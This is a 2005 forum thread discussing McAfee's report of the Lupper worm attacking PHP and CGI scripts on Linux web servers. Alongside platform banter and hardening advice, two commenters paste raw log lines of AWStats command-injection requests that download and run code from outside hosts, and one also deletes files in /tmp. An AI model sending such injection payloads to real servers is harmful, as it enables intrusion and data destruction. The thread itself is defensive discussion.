Linux Lupper.Worm In the WIld
jurt1235 writes "McAfee reports that a Linux worm has been found in the wild. The Linux/Lupper.worm is a derivative of the Linux/Slapper worm which also exists for BSD, just to be crossplatform. From the McAfee description: The worm blindly attacks web servers by sending malicious http requests on port 80. If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed."
Next, is a collection of messages telling that it is the fault of the system andministrators and not a problem of the Linux Distributions.
p.s. BURN KARMA BURN!
Ubuntu is an African word meaning 'I can't configure Debian'
Second, how do you remove it? Quoth the page:
tasks(723) drafts(105) languages(484) examples(29106)
Seems kind of wrong to name it exclusively a linux problem.
Oh, well we've got this PHP worm... Why don't we call it a Linux worm and the press will just eat it up!
...then it's a PHP/*nix worm, not Linux specifically.
Heck there's decent odds it could be modified to attack OSX PHP too. A shame the linked article provides ZERO information about exactly which scripts (and versions thereof) are vulnerable.
...Linux is more and more popular with corporations holding valuable and important data.
;)
Success is a double-edged sword.
Loading...
All sysadmins who are still running this insecure setup are advised to patch your systems immediately. Yes, all fourteen of you.
"If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed." I'm thinking this is funny as hell. How many people configure apache this way?
Paraphrased from the virus description;
IF you run a specific kernel version with some special module
AND you run one of a couple specific versions of one package not installed by default
AND you have a very "generic" config on that package
AND you have some plugins enabled, but not configured for security
AND you are on a world routable IP address
AND you have some specific vulnerable scripts,
THEN you might need to take a look at if you are at risk.
Paraphrased from the virus description of most MSFT worms:
IF you run an MSFT operating system
AND you havent reformated your HDD in the lsat hour
THEN its time to pucker up and kiss the sucker goodbye..
-GenTimJS
If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment ...
which in practice means that your admin have died a couple of years ago but was never replaced.
May Peace Prevail On Earth
So here is some, shamelessly cribbed from e-week. The worm actually attemts to attack three different web services:
"The XML-RPC hole commonly exists in blogging and Wiki programs. There are now fixes available for this hole for most systems.
AWStats is a popular, open-source log-file analyzer. Only servers which run AWStats 5.0 to 6.3 can be attacked. Versions 6.4, which came out in March, and higher are immune.
Finally, Webhints is an older script program that's designed to set up and maintain a "Hint (Quote/Tip/Joke/Whatever) of the Day" page. Version 1.3 is vulnerable to attack. There is, at this time, no known fix for the program. "
This still does not tell me which blogging/wiki programs are affected, only theat "most" have fixes - more info, anyone?
Using plain ol' text since 1968
I just noticed this today, and from what I've heard here it sounds a likely candidate. IP addresses obscured for politeness.
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 404 224 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd %20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3b chmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e19 3%2e244;echo%20YYY;echo| HTTP/1.1" 404 225 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bc hmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193 %2e244;echo%20YYY;echo| HTTP/1.1" 401 3787 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /xmlsrv/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /blog/xmlrpc.php HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /drupal/xmlrpc.php HTTP/1.1" 404 223 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
193.166.84 - - [04/Nov/2005:15:10:10 -0700] "GET
193.166.84 - - [04/Nov/2005:15:10:12 -0700] "GET
193.166.84 - - [04/Nov/2005:15:10:14 -0700] "GET
.
.
.
193.166.84 - - [04/Nov/2005:15:10:31 -0700] "POST
193.166.84 - - [04/Nov/2005:15:10:33 -0700] "POST
193.166.84 - - [04/Nov/2005:15:10:34 -0700] "POST
.
.
.
For 60 hits.
I doubt I'll have the libraries required to run this worm.
http://vil.nai.com/vil/RateThisPage.asp
Let Mcaffe know how well they're trolling.
The road between democracy and tyranny is paved with secrecy in the name of security.
Security Focus eWeek CNet
One line blog. I hear that they're called Twitters now.
Currently, this worm is only compatible with Linux/BSD systems, because they are the only systems with full shell scripting capabilities.
It is rumored that you can obtain the same level of compatibility with the Cygwin Suite, but that is not an officially supported configuration by Microsoft.
Never fear, though, Monad will bring Lupper, and similar PHP/Shell script worms to the Windows platform for the masses!
Seriously, though; isn't everyone fairly aware that PHP ain't that secure?
WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
That's Gnu/Linux worm to you, you insensitive clod!
if this worm does not include the sourcecode with every computer it infects it is violating the terms and conditions of the GNU/GPL
Politics is Treachery, Religion is Brainwashing
From the Security Focus article: Affected systems will need to be wiped and have the OS reinstalled, in most cases.
/tmp.
Apche usually runs as user nobody with very limited privileges. I doubt you'd need to wipe and reinstall the OS. That's why lupper runs in
I checked my logs and found the following: /stats/awstats/awstats.pl?configdir=|echo%20;cd%20 /tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20membe rs.lycos.co.uk/sugi/a.txt;perl%20a.txt;echo%20;rm% 20-rf%20a.txt*;echo| HTTP/1.1" 404 1030 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
[06/Nov/2005:18:13:39 -0500] "GET
Why not get somebody to shut down members.lycos.co.uk/sugi/a.txt??
Well, firstly, I doubt this worm will be particularly widespread - the vast majority of sites use name-based virtual hosting, and this worm just uses the IP address. Obviously some systems (with the very outdated versions of the vulnerable programs) will be vulnerable. But this isn't really the point of what I'm thinking about.
/tmp (and anything else writeable by the script) no-exec (although there are ways around this, it will defeat many skript kiddies).
The point is that if you run a server (of any OS) you can take preventative measures to stop the propagation of hacks/malware/trojans, even if you have users who install buggy PHP scripts. Some straightforward preventative measures are:
1. Ensure that the 'wget' (and any other similar utilities) command is NOT available to the user which cgi/php scripts are run as. Many hackers use an initial exploit to get into the machine, then wget the script or program they really want to run (such as the good old bindshell)
2. Mount
3. Implement rate limiting on the MTA that runs on the machine. Have the MTA shut down altogether if the mail queue is gigantic. This way, if someone does get in, and tries to spam with your machine, it won't get very far. It will also give you time to investigate the problem.
4. Use iptables! Only open ports that should be open. Also, use *egress* filtering too. If your server should not be contacting anything on port 80, say, except the Debian distro servers for apt, use iptables to stop outbound access to anything except those servers. Prevent all outbound access except where strictly needed.
5. Treat every local root exploit as if it was a remote root exploit. If you run a web server, there is *no such thing* as a local root exploit. All it takes is a buggy PHP script, and an attacker can try and elevate their privileges through the local root exploit.
Those 4 things will keep you safe against most of these cookie-cutter or skript kiddie attacks. But to go further:
6. Use SElinux to only allow Apache to access what it should access and nothing else. Particularly executables. Therefore, if someone manages to successfully wget their exploit script after exploiting the buggy PHP script, they can't actually run it because SElinux will prevent it from being run.
7. Use Xen to divide your server up. Put the web server (the most complex and most likely to be exploited) in a separate Xen-U instance to everything else. Then you can make sure that the only stuff installed on the instance is stuff strictly needed to run the web sites. You can also do much more agressive filtering with iptables - so for instance, if you put the MTA on another Xen-U, plus all the other services you need (DNS etc). you can make it so the web server needs to have no egress *at all* except via the services on the other xen-U. This makes it essentially impossible for someone to use an exploit to download and run another script on your web server - they can't even change the port number of their webserver (say, to 25) to allow them to get the file they need.
I have had two serious attempts (i.e. NOT skript kiddies - the most recent one was a Romanian phishing group) to hack my (multi-user, shared hosting) web server in the last couple of years. They were both defeated by at least one of these techniques, and I learned from each. My web server is now divided into multiple Xen instances, and the HTTP server part has very strict egress rules.
Oolite: Elite-like game. For Mac, Linux and Windows
Let's look at this logically.
If the Linux distribution does not run Apache by default, it is safe.
If Windows does not run IIS by default, it is safe.
So far, so good.
If the Linux distribution does not run PHP by default, it is safe.
If Windows does not run their scripting system by default, it is safe.
So far, so good.
If the Linux distribution does not run those particular scripts by default, it is safe.
If Windows does not run vulnerable scripts by default, it is safe.
So far, so good.
So, both Linux/Apache/PHP/scripts and Windows/IIS/scripting/scripts are as secure as each other in this particular instance.
Both can be made vulnerable by installing systems/scripts that are not part of the default system.
But most of the Windows compromises have not been from installing 3rd party vulnerable scripts. Historically, the compromises have come from system vulnerabilities that the admins have not patched, even when the patches are available.
The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.
Just because this one type would require the same actions on both systems does not mean that this type can be generalized to all exploits of both systems.
Um, AWStats isn't written in PHP, but in Perl. This isn't a PHP worm, it's a CGI exploit which happens to target PHP apps, plus the occasional Perl app.
Need a Linux consultant in New Orleans?
There is a reason that more homes are robbed than banks, even though the banks have far more money in them than the homes do.
The banks have better security than the homes do. So, even though more people go into a bank every day than go into your home, and the bank keeps lots more money in it than you keep in your home, because of the security, the bank is far less likely to be successfully robbed than your home.That's what you believe. Yet my bank example shows that popularity has nothing to do with security.That is because your statement is as inaccurate as possible already.
By your "logic", banks would be robbed far more often than homes or cars or people because they are more popular.
And security is why this worm will not do much damage.
http://securityresponse.symantec.com/avcenter/ven
Look for "Number of Infections: 0-49".
Oooooh! Scary! All those millions of Linux sites out there and fewer than 50 have been infected! Ooooooh!
What's that? "Number of Sites: 0-2"?
That means that fewer than 3 sites have been infected? Out of all of the Linux installations out there?
Yeah, "security issues" will certainly be a problem as more people use Linux. I feel really bad for those 2 sites (or less) that were hit by this. Yep. It's a real threat.
It's not so easy to compare as that. Unless you consider an OS being widely deployed to be a security flaw -- in which case Linux is doomed to be as bad as Windows if it succeeds...
If an OS, let's call it X, is rare, worms can't spread quickly, just because they can't find instances to spread to. The effects of this are very non-linear, with the popular OS being at a very major disadvantage.
If X is rare, few felons will have the expertise to attack it.
If X is rare, few felons will have the motivation to attack it.
Conversely, if X is widespread, and hated among felons, it will be an attractive target.
If X is commonly business-critical, a great deal of publicity comes with each attack, and felons can get glory from the press and praise from their felonious peers.
The bottom line is that there are many factors beyond the security of an OS in how widespread a worm becomes. In addition to the issues I listed above, consider how quicly patches get pushed out, which depends both on OS support for security patch distribution and administrator attentiveness. Consider the bandwidth of the typical connection, the nature of the hole, how likely it is to be blocked by non-OS firewalls, etc. etc.
So I'm afraid the MS vs Linux security question isn't going to be settled at all by comparing this worm's spread to any other worm, nor even by comparing any large population of worms.
Sorry -- it would be nice if the world were so simple.